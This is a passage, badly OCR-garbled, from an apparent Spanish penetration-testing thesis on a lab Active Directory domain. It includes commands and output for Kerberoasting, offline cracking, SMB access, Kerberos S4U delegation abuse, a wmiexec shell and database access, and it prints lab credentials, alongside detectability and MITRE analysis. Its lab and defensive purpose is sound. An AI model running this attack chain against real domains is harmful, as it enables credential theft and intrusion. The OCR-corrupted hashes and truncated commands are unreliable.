EB6UUE6608F8D873175AB93878727E9ETE20UUSFD22F2UFAB165DEBAB1EN985USDBOBALACSBBEC230EBS53DB7595U68DD39D79F8CB6860A221D180ABCUTU3USCTSABOEAA2OL
3733DOE3BETODABA1DU38908E5AF61929FD96FCFUC25010792DBO69D866382CAD22F2D521D6AF5954E2DDE81A36DTSDAUEESOUFI5267E3U61CBI9FF7145A38ESD858CAB3AD
E3333A9AA63C1BA02CEA2212D01B13B528DUCU38DEB1A288DAB6085C6FT82DE9OB56CBASEBTICBAD91DB8F663D0802FFESE2UBBE33ABEE35AU9U2CUAEEB3T76DCOC2AATETE
UD92D5672FLUUBFTD2F666756BOEU6TT12ECU59D5B6TFA3U163D383DECDUFT8FCTDISE6FTTCE9CBA36BO632F6FCTUS582TABCF2CIUCEBUBEATAT8998806CD2B5CUB3101U8901
9D299E7A95F3BD2UFDB18708C3E12BUUSB0190B23EB3BEO69COAFEEBEE985259855CDCF2C1E32EECARLELIB2977932B8UB3DU3ES55UB61D0C3788EFFAUD2CC3C3E627CC8889
D67509279F5CF3DASEB1C6A38EEBO21ED7858FDIF1ED2A2EB6996AFD1FUEL23889692E91D0U2UFBOSF8FAED7OAFCEE27T1UCEFO186028E6369392ACUABOB2592UDDFEE03172
C1A34B1A76EAF966EOCCFDBFBOC8719251A5AREAETSA9BE919CFUE81655D18509DBC82DNU317017A3FCBO9CTDT75A1C5B925U3816BC31FO17E968805FFULSECUCF1D6D29B9629
9B5172ED220EECUDE166BEOB22T769A093ES08U3ASTTEA2AS33565FF2BUALCDD2BE1EBF5829EDUBA9OTEF53AFCIFLUE38A13UAGDEIC200CCAADFF7703DE2DUCCFIDAFE6AE365
ALCBA5106031FB710BFU98769DLUF18F992FD1EFE9F5ABD99901B3BBC26D83166DFFA3C2C37F2DCA557B3316A569ACCCABABFDED75EDL701B29AA91DD69EGE7FB18CBBALUES
53BB298EB305FC29D76387F3778F823UT02A08900EASE1S59C11423C8BEI3E22222TUOA26C85U2C9UEILUDOSAUBD3F3ASEFE3EL279A7229CD9BUCBGOBS7ASBO7D2DF731CD1DD
3CDU51049CABASF231FD2337B8F728EE751A95632FUEBC2D5CEC8A267D9F SDESASU2ECECCO3006B54023ADELCSAUF6U0T18DECCS71895EEE9D65CFEE26FDUBEOUELALBH310
7SEEEEB2659ELO53U955E36656152ABFC3A995865FA6UB167TAC609B10D19D61000U32EC2EFSE6CDSASBAD2F18168F70D7A3D139B8UADIBDUDE669655DEEUDFFASFC6CTE339
B8AB653F588500FC39F78433568DATES2U5FD36ETFDBE3UBF5L23B02BCOFEB2508FF5C28532U9892152B608AU65275A28FUDD283280A217ABA93E6EIDUD6FF3C2D9532CLUFBOL

SamAccountName : svc-app

DistinguishedName : CN=svc-app,0OU=ServiceAccounts, DC=lab,DC=local

ServicePrincipalName : HTTP/app.lab.local

PndLastSet 1 10/27/2025 2:16:U46 PM

Supported ETypes : RCU_HMAC

Hash : $hrb5tgs$23$*svc-app$lab.local$HTTP/app.lab. local@lab. local*$6B2959D788FU3A9FFO39190F163DBFF535778EAS3BFSDA9T
1C312FPE3BEF72C80660E33FBU1A61B25UDE1E65A380ALFB3FUDF2593F7F62CFOEF9BCBO2U1B22789CEDEABAFEEFOD1AGECEBES3F26308D89FB19EOBC1D5236AC26DFFS20B
LUB592A1CE7B62C3A93928A52DE63C2365U11C87508D3UD3672DC7383BBE2CESD565D212BA6L2BFEE12BCE128F56D1795B9827TE969AD295U6F72D1AU1398FODEBBFF511ABEL
209UBE983CUASADFC31ED18DFBR6DE91DT7TOUSEDSABE9A2TE398912FBESF62DBUO1BAB2FCSES26E37D392A22D0ACBE86997EFFBT730106A396AD6E37810D9D93U2D960ACED3
6U3BE@UBETET52D53938AEE2DU2651D3U56B929AB721CFO59F5618FB2277BCBB5U162D7DADE995@UAEA689LTBOUA2D5583BBACFELESETOD59FDUU91A2601CUB6C1E9ELT20L
51CBDA7157BFBDTAUTO2FU2UF6313D87522E5258DD2BCB72C2F1783162D3828ABDE1FESET08C5FL32925DF@16A79C9D8C536681AASBCTCCTSOUCD5U98650F313CCTARSALAL
DDC68CEE8911C75BBUB6FSEBBU18ABTC15CA2F75313B88EBRD6ALOCLE2911E79BUC300UE250DDBEFUBE75068FUA97201D7D210EFES25A20E2D59U4B1DD2ESA058DC1D96ERS
A2391C7B830838211161U6E6A1B8TBUTS66FAC19C509A3FD5B621DDC31COB7EESCUDDAS97002COASDBFD73AUES8993382CT81FAS2EFOALD3FCCEA6251D28D3BOD99B2BIETL
CBOET8F5C875BC61B9709A8BUDCU2BC3CE5C3A29CUCE21UTUSBER3B261991BCF11B72D60F9699DA115CBABOA39CELIECFB65BCBUAELBL891526AL9ATIECIUOBBEUDEI3ESE1375
ASB1FF9DC56963B28A1F86037C8E69DAE3A2C62TABUABFETDIBGAELSD3FTCEOUUSDUFB63BOA229928TFB8B26DT52UF1CTACDEE9CE6ET131380U566981UDAOTFEDBSCE236A12
2016BUAABTCOAGDBUB2ELDFO527692BB631E51C3EDUFFLUAAD3LGU1BO222F708F8DUBBEBCO17TF3F7TAEC271B602AC81CFIE7CC5918BCAS9C1929CTIC6U2DT21E326FD3CU99
1A59A88T5BFB6ECBIF8D63278F28D26UF2FID518DCFaUBA5BEATE6TB639B951BULBECSEAS13B72FA3CEFBEFC6DB5567B83DTAT5889D05B0623BBEBDA2AEC2B7303EELIEDT7L10
7DB731B931EFOB149B939B5943A8683FFET5U593BFD7B5B1CDASAFADLCIBD17B6UCA9STFALDFA233E0368EOUF21EBS5255BUE6RESE1S533A3U08BTAA21026DAFDABTESTEIAC
C799B3D97FARGEBUTCA353BUB7888792UFFALGA3C5932793CUBFU2082055D9DAF72B5867F3B825U58CADO2AE6DCF3091581588991A76C55587FDEU3CFCESFF5E6607D30CF
BAB985AAD937FD62U520BDADESLUAELAICCE065582128C52B39092A7089DTADEEBCUAIE3CDEUDSALO2DO1DBAU936352840514U39E1B17DU59917TUBT5957F2EREC@6CT1BUEB29
FDFD21D2EA96UC81859B656B2UES517F7COSU99BDEEFO88B6792B8951B6E1 28FES788FDILUBFFB39ALOETOB28C82A2EASUCEUE9FC3A13CED29C889TBC6395CAF3Co180C6U68
8OA2E1UF388ER71E6T166F762F1BU3CFD728CCOEBFCA7CS6LUFOBEGGBE6TF77C18UCC11TSECOEEF5A6CA376DFAGB1OELIGACLE1DUTDBYSSBBFE6ES60ABAALEICBS91EAGB262A1
1C70AB553BEDCDSUT7FC1F16A3A033

SamAccountName : sve-sqle2

DistinguishedName : CN=svc-sqle2,0U=ServiceAccounts,DC=1lab, DC=local

ServicePrincipalName : MSSQLSvc/sqle2:1u33

PwdLastSet : 11/18/2025 5:U5:26 PM

Supported ETypes : RCU_HMAC_DEFAULT

Hash : $krb5tgs$23$*svc-sqle2§lab. Llocal$MSSQLSve/sqle2:1433@1ab. Local *$EE31B62880E1A3E75B7FDF8T1EIE3UT1$0F63AAB5394L
AT788U27CTFC37AEB35A1EBDB1CD3BA1OF51FESCBC17EA2TUETB188358FBBOSFED9SBBEBABBAS1671AEA63FAD51889D58BA135F9067E6D266UFCIEFB20A16EFCUB332F7F95
LUBBEB@7DF786U8PA50D35D15CA13DA85U6DUF635172ACF59CDDEB27CCAS855EC390FF2960DATTET7F25F80D9EEPAF6F501529B5D22D07F78776U3FAEF1CCB65FE3075D8D989
DE3580F6B381668E99DBEC213D5EEBABOUED2T795AE2163EB906CE91CAUDBOC2CEFE5B7TA2C5181FDTFUB2ABEB217C6809DD276E3BC38505AAAA168BF6188C2126A1BBD33EA
352C19UBE671DDU66BATE853860BOFCOTCOFF3ABUFTCUO3ACTTESTUD2073A02BA117923209517DBABDIDE87EIU62D97U1CASDF565D75ACTCAFBIDTBF 1EF6U2F19EUAB2DDAAD
T725A2278AT2AES9DBE16D9D6275BC173E80A12AFD1CFI6F3C539BDEICA952D109256CF232906267B962D3335A867DB7EAS653B12135833723CD28D5ADOUT135AFUDUSEETT
8EBCBADBE71959279D31921599C932F085COB82UBBDFAS2293E05ABE610DEL7UABEID6LE9171DCDEBFIDFUTDABCF6651771FADBESODBCAU12AESCBFRA3LUE28C2UD1OCB36E
CDBOCECFUAA22FLLCELEBRIUUAETTS6UC2ERS5262AB3F62BUTFCT1CT551003AABD2A3BD5CDA2BDCADT7C2701144B8331D1U5000DC6B55FU1772D7728902E0BI5C87907CC5B3U6
C522D56DA66357C97UEEDI2ED36C981CC17B367COCDEL38FEDES2FODOCC2F29CEOBTUBFTCTIASAF730B23AF192E725APAT7CC163FF7D1EF1B87DD6U192D972F1BFB997FOUS
CD276FE985705UEE2EFADCI26218CBIFED9SECSPESTC1BAB3ABI03B3D7907ESOTUTIUFSIBFABTEB72F6TSUBEBD78CODABL72UDCF396CCFF56AUB86F 990UBEBCLICCTEBTFCTE
1F6C208C11U62127E35U2D9ELBDTF31F953EEB8CD16BDICA21F5688D893FES391BBA3LUDEDISE2EUBFU851EBSFC11D3E7043UFUE3BBT2A6ECAED762737B7TB1E919CBACOEIAB
5AU019E@RE665FFEELFC987017470E82E93898D05D2EUDSFCS7AR95E8768FCBFC511D95877DBBE6SU1BES61E33801191ETUE61OBB3F3C1C1OF5U5U08028CDESB70951A3667A
A12FBB3FB22CU7CTF1961393EF20BBIU37FA1327E1U6CUDI8FCF2USAE9665FBT889A3ETA69UER23919CCEF3A288EF6E1BFI8AA32E236U1BCF37E3E292CB850A2AT623239D9
E5205BA9DA15FB89F1C700F2A8U60U963CC1FCTFBBFFSCDBE165COA6BBIF83A33DCI6D6L988ECUACOE3RLTE1@79BA2ASCDD2U3BELA20AF1EBTC27CU116U098FA26LAA2FECES
9EDBO2CEF52B892670AA51UDE7B331336C975DELEUTSES639EUTIEITCISOF31558836U92D539F6A21APB738EACAAESUT7188BD3065937195U36EBAF1BDCI9BEFSDAAAIBFELI
155B8C1072581F2B7F1060B1FABS8DFEBDCUCS5DFIC228UU81646888U581A3DA3BASDIEOECEBFT997U8T1EF9ATFABEIB3FO5U216EDE6O36FFCABFTE327ETBCOFUCEDRB2E3S
C3E96378U3UBBEDEB3C85B13BUD1A78US0608EUETTEEBF6DADI9629A3DU0393DACSTAG66117544991117C930DFE7BES3A1CI27AEUE37U913CDFEBEB2127UCIC3FE9BACTEDT
DBC2E1895BCD1FFU9LBFDT785AC2C561

Ilustracion 13. Ejecucion de Kerberoasting mediante Rubeus y obtencion de hashes de cuentas de servicio

En esta imagen se muestra la ejecucidn de la herramienta Rubeus para realizar un ataque de
Kerberoasting permitiendo la obtencidn de tickets de servicio TGS asociado a cuentas con SPN
en el dominio

Como resultado, identificamos multiples cuentas y se obtienen los respectivos hashes de las
credenciales de estas cuentas los cuales descifraremos offline.



Obtencion y crackeo de credenciales (svc-web)

Tras obtener los hashes cifrados vimos que se trataba de un cifrado RC4-HMAC (etype23), el
cual es vulnerable a ataques de fuerza bruta offline. Mediante herramientas como John the
Ripper se logrd recuperar la contrasefa en texto claro de la primera cuenta, “svc-web”.

Desde el punto de vista analitico esta técnica presenta una caracteristica clave:
e Elproceso de descifrado ocurre fuera del entorno monitorizado.
Esto implica lo siguiente:

e No se generan eventos adicionales en el dominio.
e Laactividad es practicamente invisible tras la obtencién del ticket.

En términos de detectabilidad se traduce a:

e Lasolicitud del ticket puede ser observable.
e Elcrackeo es completamente invisible.

Por esto, la detectabilidad global puede considerarse media/baja.

$krbstg: web$lab.local$HTTP/webserver.lab.localglab.local*$76D9FIEBB2A4LEC427037746798DB3AF8S5B72FEGFBEB64466608F8D873175AB93878727E9E7E20445FD22F24FAR
48DBOBA4ACSBBBC230EB53DB7595460DD39D79F8CB6860A221D180ABC474345C76ABOEAA2043733DOE3BE7ODABAID438908ESAF61929FDI6FCF4C25010792DB069D866382CAD22F2D521D6AF5954E2
E6504F95267E3461CB99FF7145A38E5D858CAB3ADE3333A9AA63C1BA02C0A2212D01B13B528D4C438D8B1A288DAB608SCEF782DBOOBS6CBAGEB79CBADI1DBBF663DO802FFEBE248BE33ABEE35A4942
2AA7B764D92D5672F448F7D2F666756BOE467712EC459D5B67FA34163D383DECD4F78FC7DISEGF77CEICBA36BO632F6FCT45827A0CF2C94CEB4B60O7A78998806CD285C4B3101489019D299E7A95F 3B
12B448B0190B23EB38E069COAFSEBEEIB5259855CDCF2CIE32EECAQ1E1B2977932B84B3D43E5554B61D0C3788EFFA4D2CCIC3E627CC8889D67509279F5CF3DA9EBIC6A3BEEBO21ED7858FDIOF1ED2A2
23889692E91D0424FB9BFBFAED70AFCBE2714CEFO186028E6369392AC4A89B25924DDFB803172C1A34B1A76EAFIG6EOCCFDBFBOCE719251A5A0EAE7SA9BEY19CF481655D18509DBC82D4317017A3FC
2543816BC31F017E968805FF44SECACFID6D29B96299B5172ED220E0C4D8166BEOB227769A093E50843A577EA2AB33565FF2B4A4CDD2BEIEBFS829ED48A907EFS3AFCIFAEIBA134A6DEIC200CCAADF
DAF6A6365A4CBA5106031FB710BF498769D4F18F992FD1EFEIFSABDI9901B3B8C26D83166DFFA3C2C37F02DCO55783316A569ACCCOBOBFDED7SED4701B29AA91DD69EGETFB18CBBALESS3BO298EB30
78F8234702A08900EABE159C11423C8BE93E22222740A26C8542C94E94D05A40D3F3ASEFO3E1279A7229CD9B4CB6OB57A5BO7D2DF731CD1DD3CD451049CARASF231FD2337B8F728EE751A95632F4ED:
FSDESA942ECECC93006B54023ADE1C5A4F640718DECC571895EEE9D6SCFEE26FD4BEO4E1A4843107SEEEEB2659E40534955E36656152ABFC3A995865FA64B167AC609B10D19D61000432EC2EFSEGCD!
70D7A3D139B84ADIBD4D6609655D6E4DFFABFCOCTE3398AB653FS08500FC39F7843350DA7E6245FD36E7 FDBE348F5423B02BCOFEB2508FF5C2853249892152B608A465275A28F4DD283280A217ABA9
D9532C4FBO4ABDD6ECBFBDFSOF1A30EG232A42524B5022FC19F63311D7CALSTEBSOADSELF37C2EFCBALCODS52CT739A6AACT21202289922D5AF4013F53BBBCFD4ABCOEEIETEGTD43B5081002D11ECH2
E90CABES69980C3B304220AAF40566D499B56EBASB49536AF6FBFO2E456150625AD9816685E0479518B782970D707AC7EDS9ABE2COC6DCCBE56025F5265BE193654C8DBE40041ABACB3CTO6ECDFI29:
72611C3DB8C80A153ABASCD452232FD1CD1B65F5A8956ECCDAACS2EAF141D381013F17188BBDS9EFE4DDB65F990E7717918C0BO61CA32C6AFAST

svcwebpass.txt
svcwebpass.txt --wordlistsSecLists/Passwords/xato-net-10-million-passwords.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krbS5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

vci ) (?)
1g 0:00:00:00 DONE (2025-11-27 19:22) 1.041g/s 3756Kp/s 3756Kc/s 3756KC/s Sybearty..Superbeed
Use the "--show™ option to display all of the cracked passwords reliably
Session completed.

Ilustracion 14. Descifrado offline de credenciales de cuenta de servicio

La imagen muestra como tras la obtencion del TGS asociado a “svc-web” mediante
Kerberoasting, se almacend de forma offline y se usé herramientas de cracking de contrasenas
como John the Ripper. Tras esto se consiguid recuperar la contrasefia de la cuenta de servicio
en texto plano usando una wordlist de la seclist.

Acceso a recursos mediante cuenta comprometida

Una vez comprometida la cuenta “svc-web”, se usé para autenticarse en la maquina DELEG-
CLIENT mediante SMB. Durante esta fase se identificd un recurso compartido llamado
“WebRoot” el cual contenia archivos de configuracién asociados al servidor web.

Este tipo de archivos suele incluir contenido como:

e Credenciales de conexién a bases de datos.
e (Cadenas de conexion.
e Informacidn sensible de la aplicacion.

Desde un punto de vista analitico, este paso refleja un patrén comun en entornos reales
(compromiso de una cuenta > acceso a recursos > obtencidon de mas credenciales).

En términos de detectabilidad:



e Elacceso a SMB es legitimo.
e Serealiza con credenciales validas.
e No genera eventos claramente diferenciadores.

Por esto su detectabilidad es baja

c smb 192.168.109.14 -u 'svc-web' -p 'Svcib539°

[proxychains] config file found: /etc/proxychainsé.conf
[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.17
192.168.109.14 445 DELEG-CLIENT Windows 10 Pro 26200 x64 (name:DELEG-CLIENT) (domain:lab.local) (signing:False) (SMBv1:True)
192.168.109.14 445 DELEG-CLIENT [+] lab.local\svc-web:Svci6539

Ilustracion 15. Validacion de credenciales mediante acceso SMB con cuenta comprometida

En la imagen se muestra la validacion de las credenciales obtenidas previamente mediante la
herramienta de crackmapexec confirmando su validez frente al servicio SMB del Workstation
DELEG-CLIENT.

tubeus> net view \\DELEG-CLIENT
s at \\DELEG-CLIENT

Share name Type Used as Comment

Enter the - web' to connect to 'DELEG-CLIENT':
The command

PS C:\Tools\Rubeus> dir \\DELEG-CLIENT\WebRoot

Directory: \\DELEG-CLIENT\WebRoot

WebRoot\webserver)
: :\\DELEG-CLIEN ebRoot\webserver> dir

9 web.config

Ilustracion 16. Acceso a recurso compartido SMB mediante credenciales validas

Aqui se muestra el acceso al recurso compartido “WebRoot” en el sistema DELEG-CLIENT
usando la cuenta comprometida “svc-web” y la exploracién de su contenido

Una vez autenticado podemos navegar por la estructura de directorios del sistema accediendo
a componentes de la aplicaciéon web y archivos asociados.



PS Microsoft.PowerShell.Core\FileSystem: :\\DELEG-CLIENT\WebRoot\webserver> type web.config
<?xml version="1.8" encoding="utf-8"7>
<configuration>
<system.web>
<authentication mode="Windows" />
<authorization>
<allow users:
<deny users=
</authorization>

<compilation debug="true">
<assemblies>
<add assembly="MySql.Data"
</assemblies>

</compilation>
</system.web>

<connectionStrings>
<add name="AppDB" connectionString="Server=192.168.109.16;Uid=svc-sql;Pwd=53rv1c35SQL_StréngP@ss;Database=appdb" />
</connectionStrings>
<system.webServer>
<defaultDocument>
<files>
<add value="index.aspx" />
</files>
</defaultDocument>
</system.webServer>
</configuration>

Ilustracion 17. Identificacién de credenciales en archivo de configuracion de aplicacion web

Por ultimo, se muestra la visualizacion del archivo web.config en el cual se identifican
credenciales de acceso a base de datos almacenadas en texto claro. Este tipo de configuracion
representa una debilidad critica ya que permite al atacante obtener nuevas credenciales sin
necesidad de realizar ataques adicionales.

Abuso de delegacion Kerberos (S4U)

Campo Valor

CWE CWE-269 - Improper privilege management

CVSS 3.1 8.2 (High)

Root Cause Configuracion insegura de delegacién
Kerberos

Impacto Suplantacién de identidades sin conocer
credenciales

Remediacién Restriccion de delegacion y uso de Kerberos
constrained delegation

Referencias MITRE ATT&CK - T1550.003 (Pass-The-Ticket)

Tabla 13. Evaluacion de la vulnerabilidad asociada al abuso de delegacion Kerberos y suplantacion de identidades

Tras comprometer la cuenta svc-web se identificd que esta cuenta disponia de permisos de
delegacion, lo que permitié abusar del mecanismo S4U2Self. Esto permite solicitar un ticket en
nombre de otro usuario sin necesidad de conocer la contrasefa.

Posteriormente, este ticket fue usado para autenticarse contra DELEG-CLIENT como “user2”y
poder movernos lateralmente.

Desde el punto de vista analitico, esta técnica representa un punto critico del ataque ya que
permite:

e Escalada de privilegios.
e Movimiento lateral.
e Norequiere interaccién del usuario suplantado.

Desde el marco MITRE ATT&CK:
e T1550 - Use Alternate Authentication Material

e T1134 - Access Token Manipulation



En términos de detectabilidad:

e Las solicitudes de tickets son legitimas.
e No hay uso de credenciales robadas directamente.
e Laactividad puede parecer administrativa.

Por esto, su detectabilidad puede considerarse baja en ausencia de correlacion avanzada.

impacket-GetU: lab.local/svc-web:Svci6539 -dc-ip 192.168.109.10
[proxychains] config file etc/proxychains4.conf

[proxychains] preloading /usr/1ib/x86_64-linux-gnu/libprexychains.so.4
[proxychains] DLL init: proxychains-ng &.17

[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

Impacket v0.13.0.dev® - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name Member0f PasswordLastSet LastLogon Delegation

HTTP/webserver.lab.local svc-web 2025-11-27 19:16:51. 2025-11-27 19:56:38.066426
HTTP/app.lab.local svc-app CN=NoInteractivelLogon,CN=Users,DC=1ab,DC=local 2025-10-27 14 6.9 <never>

MSSQLSvC/5qle2:1433 svc-sqloz 2025-11-18 17 . 2025-11-24 15:46 404822
MssQLSvc/sqle2.lab.local:1433 svc-sqloz 2025-11-18 17:45:26.211755 2025-11-24 15 404822

Illustracion 18. Identificacion de cuentas con delegacion Kerberos habilitada

La imagen muestra la enumeracion de cuentas del dominio con delegacion Kerberos
configurada identificando servicios que puedan ser usados para suplantar identidades dentro
del entorno. Podemos observar que la cuenta “svc-web” dispone de permisos de delegacién
sobre determinados servicios lo que la convierte en un objetivo critico para el atacante.

1510y lab.local/sve-web:Svci6539 -impersonate user2 -spn RPCSS/deleg-client,lab.local -

dc-ip 192.168.109.10

[proxychains] config file found: /etc/proxychains4.conf

[proxychains] preloading sr/1ib/x86_64-1inux-gnu/libproxychains.so.4
[{proxychains] DLL init: proxychains-ng 4.17

Impacket v0.13.0.dev0 Copyright Fortra, LLC and its affiliated companies

CCache file is not found. Skipping ...

Getting TGT for user

Impersonating user2

Requesting Sau2self

Reque ng S4U2Proxy

Saving ticket in user2aRPCSS_deleg-client.lab.localgLAB.LOCAL.ccache

r D) user23RPCSS_deleg-client.lab.10cal@LAB. LOCAL . ccache [ users.txt
t KRBSCONAME = kali/tf er te er jele t )

Ticket cache: FILE:/home/kali/tfg/Kerbrute/user2aRPCSS_deleg-client.lab.local@LAB.LOCAL.ccache
Default principal: user2glab.local

valid starting Expires Service principal
27/11/25 23:15:12 28/11/25 09:15:11 RPCSS/deleg-client.lab.localgiAB. LOCAL
renew until 28/11/25 23:15:11

Illustracion 19. Abuso de delegacion Kerberos mediante generacion de ticket impersonado

En estaimagen se muestra el uso de la herramienta getST para abusar de la delegacion
Kerberos permitiendo la suplantacién de la identidad de otro usuario del dominio. Mediante
esta técnica solicitd un ticket de servicio en nombre de otro usuario, en este caso “user2”,
usando las credenciales de la cuenta comprometida “svc-web”.

leg-client.lab.local -k -no-pass
[proxychains] config file found: /etc/ 4.conf

[proxychains] preloading /usr/lib/ 3 /libproxychains.so.4
[proxychains] DLL init: proxychain

[proxychains] DLL init: proxychains-ng

[proxychains] DLL init: xychains-ng 4.
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[+] SMBv3.0 dialect used

[1] Launching semi-interactive shell - Careful what you execute

] Press help for extra shell commands

Ilustracion 20. Acceso remoto a sistema mediante ticket Kerberos impersonado

Por ultimo, se muestra el uso del ticket Kerberos previamente generado para acceder al sistema
DELEG-CLIENT mediante autenticacién sin contrasena. Este acceso confirma que la
suplantacién de identidad ha sido exitosa permitiéndome operar con privilegios del usuario
impersonado.



Conclusion de la fase

La fase de abuso de Kerberos pone de manifiesto que el propio disefio del sistema puede ser
usado como vector de ataque cuando se combina con configuraciones inseguras.

A diferencia de fases anteriores en las que se explotaban errores operativos en esta fase se
aprovechan funcionalidades legitimas del sistema para escalar privilegios y suplantar
identidades

Desde el punto de vista de deteccidn se observa que:

e Lasacciones realizadas son completamente legitimas.
e Muchas de las actividades generan eventos validos.
e Parte del ataque ocurre fuera del entorno monitorizado.

Esto evidencia que las técnicas mas avanzadas no necesariamente generan mas ruido, sino que
se integran mejor dentro del comportamiento normal del sistema.

Se observa que el uso de mecanismos como Kerberos reduce significativamente la
detectabilidad del ataque al permitir operaciones complejas sin necesidad de generar
comportamientos andmalos evidentes.

Evaluacion de detectabilidad de la fase

Enumeracion SPNs Solicitudes kerberos | Media Actividad legitima
dependiente del
volumen
Kerberoasting Solicitudes TGS Media/Baja Crackeo offline no
detectable

Uso de svc-web Autenticacién SMB Baja Uso de credenciales
validas

Abuso de delegacion | Solicitud de tickets Baja Operaciones

legitimas del sistema
Tabla 14. Evaluacion de detectabilidad de técnicas de abuso de Kerberos y delegacién en Active Directory

Esta evaluacion refleja que la detectabilidad en esta fase se ve reducida por el uso de
mecanismos internos de autenticacion lo que dificulta la identificacion de actividad maliciosa
sin correlacion avanzada.

Se observa que ninguna de las técnicas analizadas presenta detectabilidad alta de forma
aislada reforzando la necesidad de modelos de deteccién basados en comportamientoy
trazabilidad de acciones dentro del dominio.



Fase 4 — Acceso y explotacion de servicios de base de datos

Contexto del ataque

Tras el abuso de mecanismos Kerberos y la obtencion de multiples credenciales en la fase
anterior, ahora dispongo de acceso privilegiado a distintos recursos del dominio. En este punto
el objetivo sera la explotacién de servicios criticos concretamente los relacionados con bases
de datos corporativas.

En entornos reales los sistemas de base de datos representan activos de alto valor ya que
almacenan informacion sensible y suelen operar mediante cuentas de servicio con privilegios
elevados. Esto los convierte en un objetivo prioritario dentro de fases avanzadas del ataque.

En la red interna se encontraron dos sistemas de bases de datos relevantes:

e SQLO1 con MariaDB asociado a la aplicacién web.
e SQLO2 un servidor SQL integrado en el dominio.

El objetivo de esta fase sera validar el acceso a estos servicios, comprometer cuentas
asociadasy en ultima instancia obtener capacidad de ejecucién remota de codigo.

Clasificacion de la técnica

Tactica Credential Access/Lateral
Movement/Execution

Tipo de técnica Abuso de cuentas de servicio y explotacion

Superficie afectada Servidores SQL y servicios de base de datos

Naturaleza Uso legitimo de credenciales 'y
funcionalidades del sistema

Riesgo asociado Acceso a informacion critica 'y ejecucion
remota de comandos

Tabla 15. Clasificacion de la técnica de abuso de cuentas de servicio y explotacion de servicios SQL

Acceso a la base de datos SQLO1

Una vez obtenida las credenciales de la cuenta “user2”, el siguiente paso consistié en intentar
establecer conexién con la base de datos SQLO1 asociada al servidor web corporativo y basada
en MariaDB con el objetivo de comprobar su accesibilidad y analizar el contenido almacenado.

La conexidén se realizé usando credenciales validas del dominio permitiendo acceso directo al
motor de base de datos sin necesidad de explotacién adicional. Desde el punto de vista
operativo este escenario es muy relevante ya que se ha podido reutilizar credenciales para
acceder a uno de los activos mas sensibles de la infraestructura.

Una vez autenticado, se procedié a enumerar las bases de datos disponibles mediante
comandos SQL identificando la base de datos “appdb” asociada a la aplicacion web
desplegada en el entorno. Posterior a esto, se analizaron las tablas presentes observando las
estructuras relacionadas con usuarios (users) y registros de actividad de la aplicacién (applogs).

Desde el punto de vista analitico, este paso representa una transicion relevante en el ataque:

e Pasamos a comprometer directamente la capa de aplicaciéon y datos.
e Usamos credenciales validas para acceder a informacidn sensible sin generar actividad
claramente anémala.



En términos de detectabilidad, esta actividad presenta una complejidad elevada debido a que:

e Elacceso se realiza mediante credenciales validas.
e Las consultas SQL ejecutadas son legitimas.
e No existen indicadores claramente diferenciadores de actividad maliciosa.

Esto implica que la deteccion requiere principalmente del analisis contextual. Desde el marco
MITRE ATT&CK:

e T1078 - Valid Accounts
e T1213 -Data from Information Repositories

impacket-wmi lab.local/user2gdeleg-client.lab.local -k -no-pass
[proxychains] config file found: /etc/proxychainsé4.conf

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL ini proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17
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[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands

C:\>mariadb -h SQLO1 -u svc-sql -pS3rvic3SQL_StrongPgss --ssl=0 -e "SHOW DATABASES;"
Database

appdb

information_schema

mysql

performance_schema

sys

C:\>mariadb -h SQLO1 -u svc-sql -pS3rvic3SQL_StrongPgss --ssl=0 -e "USE appdb; SHOW TABLES;"
Tables_in_appdb

app_logs

users

Ilustracion 21. Acceso al servidor SQLO1 y enumeracion de bases de datos mediante credenciales validas

La imagen muestra la exploracion de la base de datos “appdb” en el servidor SQLO1 mediante
credenciales validas previamente comprometidas. Durante la enumeracién de las tablas
identificamos dos, “users” la cual almacena credenciales de usuarios y “app_logs” que registra
la actividad del servidor web.

Se accedio via Shell mediante el uso de proxychains junto con la herramienta de imapcket
wmiexec que nos permitio loggearnos usando el ticket Kerberos anteriormente obtenido y tras
esto nos conectamos mediante el uso de mariadb con las credenciales obtenidas de la otra
base de datos del usuario svc-sgl que encontramos en el archivo de configuracion web.config
en la fase anterior.

Exposicion de credenciales en la base de datos SQLO1

Durante la exploraciéon de la base de datos “appdb”, se identificé la tabla “users” la cual
almacenaba credenciales de usuarios en texto plano. Entre los datos recuperados se
encontraban nombres de usuario, contrasefas y otra informaciéon asociada a cuentas de la
aplicacion.

La presencia de credenciales sin mecanismos de proteccién adecuados representa una
debilidad muy critica dentro de entornos corporativos ya que elimina la necesidad de realizar
ataques complejos de fuerza bruta o explotacién avanzada.



CWE CWE-522 - Insufficiently Protected
Credentials

CVSS 3.1 7.5 (High)

Root Cause Almacenamiento inseguro de credenciales

Impacto Compromiso adicional de cuentas

Remediacién Uso de cifrados fuertes y gestion segura de
cuentas

Referencias MITRE ATT&CK - T1552 (Unsecured
Credentials)

Tabla 16. Evaluacion de la vulnerabilidad asociada al almacenamiento inseguro de credenciales en servicios y bases
de datos

Desde el punto de vista analitico, esta refleja una debilidad habitual en aplicaciones
corporativas desarrolladas sin criterios adecuados de seguridad donde las credenciales son
almacenadas directamente en bases de datos sin aplicar técnicas de proteccion como hashing
o cifrado.

Adicionalmente, este tipo de exposicién incrementa el impacto del ataque ya que no solo se
compromete el sistema actual, sino que se obtiene informacién potencialmente reutilizable en
otros servicios debido a practicas comunes de reutilizacién de contrasefas.

En términos de detectabilidad esta actividad presenta una debilidad muy limitada:

e Elacceso alas bases de datos se realiza mediante credenciales validas.

e Las consultas SQL ejecutadas son legitimas.

e Lalecturade informacién no genera eventos claramente maliciosos.

e No existe diferenciacion observable entre acceso administrativo y acceso malicioso.

Es por esto por lo que su detectabilidad puede considerarse baja ya que la identificacién
dependera completamente del analisis contextual de las consultas realizadas y del
comportamiento del usuario autenticado.

Desde el marco MITRE ATT&CK:

e T1552 -Unsecured Credentials

